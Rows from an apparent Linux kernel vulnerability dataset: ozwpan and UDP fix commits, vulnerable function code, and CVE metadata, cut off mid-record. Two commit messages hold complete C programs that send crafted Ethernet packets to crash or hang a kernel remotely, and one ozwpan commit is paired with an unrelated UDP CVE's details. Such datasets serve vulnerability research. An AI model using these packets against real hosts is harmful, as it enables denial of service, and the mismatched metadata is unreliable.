ozwpan: divide-by-zero leading to panic A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
04bf464a5dfd9ade0dda918e44366c2c61fce80b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
oz_usb_handle_ep_data
oz_usb_handle_ep_data( struct oz_usb_ctx * usb_ctx , struct oz_usb_hdr * usb_hdr , int len)
['usb_ctx', 'usb_hdr', 'len']
static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_usb_hdr *usb_hdr, int len) { struct oz_data *data_hdr = (struct oz_data *)usb_hdr; switch (data_hdr->format) { case OZ_DATA_F_MULTIPLE_FIXED: { struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; int n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, body->unit_size); data += body->unit_size; } } break; case OZ_DATA_F_ISOC_FIXED: { struct oz_isoc_fixed *body = (struct oz_isoc_fixed *)data_hdr; int data_len = len-sizeof(struct oz_isoc_fixed)+1; int unit_size = body->unit_size; u8 *data = body->data; int count; int i; if (!unit_size) break; count = data_len/unit_size; for (i = 0; i < count; i++) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, unit_size); data += unit_size; } } break; } }
213
True
1
CVE-2015-4002
False
False
False
False
AV:N/AC:L/Au:N/C:P/I:P/A:C
NETWORK
LOW
NONE
PARTIAL
PARTIAL
COMPLETE
9.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://openwall.com/lists/oss-security/2015/06/05/7', 'name': '[oss-security] 20150605 Re: CVE Request: Linux Kernel Ozwpan Driver - Remote packet-of-death vulnerabilities', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'name': 'https://github.com/torvalds/linux/commit/9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=9a59029bc218b48eff8b5d4dde5662fd79d3e1a8', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'name': 'https://github.com/torvalds/linux/commit/d114b9fe78c8d6fc6e70808c2092aa307c36dc8e', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/74668', 'name': '74668', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2667-1', 'name': 'USN-2667-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2665-1', 'name': 'USN-2665-1', 'refsource': 'UBUNTU', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-119'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions.'}]
2016-12-28T02:59Z
2015-06-07T23:59Z
Improper Restriction of Operations within the Bounds of a Memory Buffer
The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data. As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.
https://cwe.mitre.org/data/definitions/119.html
0
Jason A. Donenfeld
2015-05-29 13:07:01+02:00
ozwpan: unchecked signed subtraction leads to DoS The subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) - 3 }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 1, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <[email protected]> Acked-by: Dan Carpenter <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]>
9a59029bc218b48eff8b5d4dde5662fd79d3e1a8
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
oz_usb_handle_ep_data
oz_usb_handle_ep_data( struct oz_usb_ctx * usb_ctx , struct oz_usb_hdr * usb_hdr , int len)
['usb_ctx', 'usb_hdr', 'len']
static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_usb_hdr *usb_hdr, int len) { struct oz_data *data_hdr = (struct oz_data *)usb_hdr; switch (data_hdr->format) { case OZ_DATA_F_MULTIPLE_FIXED: { struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; int n; if (!body->unit_size) break; n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, body->unit_size); data += body->unit_size; } } break; case OZ_DATA_F_ISOC_FIXED: { struct oz_isoc_fixed *body = (struct oz_isoc_fixed *)data_hdr; int data_len = len-sizeof(struct oz_isoc_fixed)+1; int unit_size = body->unit_size; u8 *data = body->data; int count; int i; if (!unit_size) break; count = data_len/unit_size; for (i = 0; i < count; i++) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, unit_size); data += unit_size; } } break; } }
224
True
1
CVE-2015-5364
False
False
False
False
AV:N/AC:L/Au:N/C:N/I:N/A:C
NETWORK
LOW
NONE
NONE
NONE
COMPLETE
7.8
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://twitter.com/grsecurity/status/605854034260426753', 'name': 'https://twitter.com/grsecurity/status/605854034260426753', 'refsource': 'MISC', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/30/13', 'name': '[oss-security] 20150630 CVE Request: UDP checksum DoS', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1225', 'name': 'RHSA-2016:1225', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/75510', 'name': '75510', 'refsource': 'BID', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1100.html', 'name': 'RHSA-2016:1100', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1096.html', 'name': 'RHSA-2016:1096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0045.html', 'name': 'RHSA-2016:0045', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2682-1', 'name': 'USN-2682-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3313', 'name': 'DSA-3313', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00010.html', 'name': 'SUSE-SU-2015:1490', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'name': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032794', 'name': '1032794', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1623.html', 'name': 'RHSA-2015:1623', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 do not properly consider yielding a processor, which allows remote attackers to cause a denial of service (system hang) via incorrect checksums within a UDP packet flood.'}]
2018-01-05T02:30Z
2015-08-31T10:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
Eric Dumazet
2015-05-30 09:16:53-07:00
udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <[email protected]> Cc: Willem de Bruijn <[email protected]> Signed-off-by: David S. Miller <[email protected]>
beb39db59d14990e401e235faf66a6b9b31240b0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
udp_recvmsg
udp_recvmsg( struct sock * sk , struct msghdr * msg , size_t len , int noblock , int flags , int * addr_len)
['sk', 'msg', 'len', 'noblock', 'flags', 'addr_len']
int udp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *inet = inet_sk(sk); DECLARE_SOCKADDR(struct sockaddr_in *, sin, msg->msg_name); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); bool slow; if (flags & MSG_ERRQUEUE) return ip_recv_error(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udp_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; sin->sin_port = udp_hdr(skb)->source; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(sin->sin_zero, 0, sizeof(sin->sin_zero)); *addr_len = sizeof(*sin); } if (inet->cmsg_flags) ip_cmsg_recv_offset(msg, skb, sizeof(struct udphdr)); err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }
503
True
1
CVE-2015-5366
False
False
False
False
AV:N/AC:L/Au:N/C:N/I:N/A:P
NETWORK
LOW
NONE
NONE
NONE
PARTIAL
5.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/30/13', 'name': '[oss-security] 20150630 CVE Request: UDP checksum DoS', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1225', 'name': 'RHSA-2016:1225', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/75510', 'name': '75510', 'refsource': 'BID', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1100.html', 'name': 'RHSA-2016:1100', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1096.html', 'name': 'RHSA-2016:1096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0045.html', 'name': 'RHSA-2016:0045', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2682-1', 'name': 'USN-2682-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3313', 'name': 'DSA-3313', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00010.html', 'name': 'SUSE-SU-2015:1490', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 